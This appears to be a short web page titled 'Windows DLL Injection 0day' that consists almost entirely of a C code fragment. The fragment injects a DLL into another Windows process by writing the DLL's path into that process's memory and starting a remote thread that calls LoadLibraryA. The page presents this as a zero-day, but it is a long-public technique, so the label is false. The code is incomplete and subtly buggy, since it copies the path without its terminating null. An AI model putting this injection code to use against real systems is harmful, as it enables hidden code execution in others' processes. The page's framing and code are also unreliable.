Windows DLL Injection 0day

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May 17, 2022

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#define DLL_NAME "Injected.dll"
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
LoadLibAddr = (LPVOID) GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA");
 
//Allocates a buffer for and writes the path to the DLL we want to inject inside of the target process's memory
RemoteString = (LPVOID) VirtualAllocEx(Proc, NULL, strlen(DLL_NAME),MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(Proc,(LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME), NULL);
 
//Calls LoadLibrary on our specified DLL in the target process
CreateRemoteThread(Proc,NULL,NULL, (LPTHREAD_START_ROUTINE) LoadLibAddr, (LPVOID)RemoteString, NULL, NULL);